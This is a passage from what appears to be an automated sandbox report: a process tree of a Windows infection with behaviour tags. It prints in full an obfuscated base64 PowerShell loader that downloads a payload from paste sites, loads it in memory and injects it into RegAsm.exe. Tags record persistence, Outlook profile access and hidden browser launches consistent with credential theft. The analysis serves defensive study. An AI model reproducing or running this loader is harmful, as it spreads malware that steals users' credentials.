MAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkAOwANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnACcAIAAf#ACAAJwBBAHMAbQAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AcgBpAEYAbQBqAEEAagAvAGcAZQBiAHAAagBuAGkALwBtAHIAcwBjAHQAZABwAC8AbgBmAHQAaAB4AHkAcwAvAGUAZAAuAG4AZQBnAG4AaQBsAC0AbgBvAGwAYQBzAGgAYwBzAGEAdwAvAC8AOgBzAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANgApAA0ACgAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAcgB1AG4AcwAnACAAKwAgACcAcwAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJABnAGcAIAAsACcAMQAnACwAIAAnAE0AVgBQACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA='';$oWjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdgo, ''f#'', ''r'')));iex $oWjfdsuxd\"'"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\31cef7da-74eb-4214-9c76-c46a49cd5218.bat' -Destination 'C:\ProgramData\MVP.bat' -Force -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQwB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAZABwAGEAcwB0AGUALgBjAG8AbQAvADMAVgBZADYAOQBSAFkANwBKAC4AdAB4AHQAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBf#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkAOwANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnACcAIAAf#ACAAJwBBAHMAbQAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AcgBpAEYAbQBqAEEAagAvAGcAZQBiAHAAagBuAGkALwBtAHIAcwBjAHQAZABwAC8AbgBmAHQAaAB4AHkAcwAvAGUAZAAuAG4AZQBnAG4AaQBsAC0AbgBvAGwAYQBzAGgAYwBzAGEAdwAvAC8AOgBzAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANgApAA0ACgAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAcgB1AG4AcwAnACAAKwAgACcAcwAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJABnAGcAIAAsACcAMQAnACwAIAAnAE0AVgBQACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA=';$oWjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdgo, 'f#', 'r')));iex $oWjfdsuxd"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4316
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        outlook_office_path
        outlook_win_path
        
        PID:5796
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:3212
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xec,0x110,0x7ffd4f0cc728,0x7ffd4f0cc734,0x7ffd4f0cc740
        7⤵
        
        PID:1960
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,4976666618847794912,8909407169670281089,262144 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
        7⤵
        
        PID:5452
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --force-high-res-timeticks=disabled --metrics-shmem-handle=1976,i,2400386097652093585,3224983551275390932,524288 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=2028 /prefetch:11
        7⤵
        System Time Discovery
        
        PID:4748
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --force-high-res-timeticks=disabled --metrics-shmem-handle=2136,i,16080138227649874611,17688784391470585961,524288 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:13
        7⤵
        
        PID:1552
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2928,i,11419751463461496752,12895767176733185836,2097152 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=2956 /prefetch:1
        7⤵
        
        PID:5916
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2932,i,17212745120270029445,1992152863353124385,2097152 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=2988 /prefetch:1
        7⤵
        
        PID:2532
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3128,i,10804023190287600253,18379560452482793938,2097152 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:1
        7⤵
        
        PID:3404
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3148,i,17235605696801464961,3901649810155969821,2097152 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:9
        7⤵
        
        PID:1120
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3928,i,17770824995009632624,13912143127317802681,2097152 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
        7⤵
        
        PID:5456
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4176,i,6628675479823599110,17179490695166183500,2097152 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:9
        7⤵
        
        PID:416
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o" --force-high-res-timeticks=disabled --metrics-shmem-handle=4480,i,3513172594490907599,16420310187311859283,524288 --field-trial-handle=1908,i,5809277647652453703,699219618135807987,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:14
        7⤵
        
        PID:4468
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\4kyqhkum.cjz"
        6⤵
        
        PID:3668
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\4kyqhkum.cjz
        7⤵
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:664
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1920 -prefsLen 27097 -prefMapHandle 1952 -prefMapSize 270279 -ipcHandle 2036 -initialChannelId {d487ed91-68ca-46c2-ba70-6d6ad6ddcd5c} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        8⤵
        
        PID:6008
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2300 -prefsLen 27133 -prefMapHandle 2352 -prefMapSize 270279 -ipcHandle 2328 -initialChannelId {539668a1-1a42-45cb-bf0b-a72de9160736} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        8⤵
        
        PID:656
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\ec01e53c-6373-45e6-a3b7-021c6f7ab3e4.dmp"
        8⤵
        
        PID:3976
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2272 -prefsLen 27133 -prefMapHandle 2772 -prefMapSize 270279 -ipcHandle 2840 -initialChannelId {f40825c5-bd3b-47be-b871-351525f4bac3} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        8⤵
        
        PID:5400
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\a8366375-6b7e-40c0-adde-f478dc044c88.dmp"
        8⤵
        
        PID:5480
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2840 -prefsLen 27133 -prefMapHandle 2968 -prefMapSize 270279 -ipcHandle 1412 -initialChannelId {edd93fc9-5abb-41f8-b352-8f9b789cee14} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        8⤵
        
        PID:4768
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\c7e103ee-19af-48d6-9e1b-1b2db56d7720.dmp"
        8⤵
        
        PID:5980
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3432 -prefsLen 27247 -prefMapHandle 3608 -prefMapSize 270279 -ipcHandle 3448 -initialChannelId {2f62284e-01f6-4eaf-9ab9-412bb1938f24} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        8⤵
        
        PID:3888
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3104 -prefsLen 27323 -prefMapHandle 3108 -prefMapSize 270279 -jsInitHandle 3092 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3080 -initialChannelId {a477f564-fcdb-4d06-a444-e0d546f6aa7e} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        8⤵
        Checks processor information in registry
        
        PID:3204
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\f2360237-e4ec-4838-9e84-74ffa5809524.dmp"
        8⤵
        
        PID:2368
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3448 -prefsLen 27323 -prefMapHandle 4084 -prefMapSize 270279 -ipcHandle 4040 -initialChannelId {9a3f0e34-c326-4b27-8b81-b12e97369de1} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        8⤵
        
        PID:3908
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\4fb8daac-ffc9-4ab3-9edc-6f0f41a2fc5f.dmp"
        8⤵
        
        PID:4808
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4116 -prefsLen 27323 -prefMapHandle 4120 -prefMapSize 270279 -ipcHandle 4160 -initialChannelId {95a3b372-49f9-488d-b654-de2af451d576} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        8⤵
        
        PID:4984
        
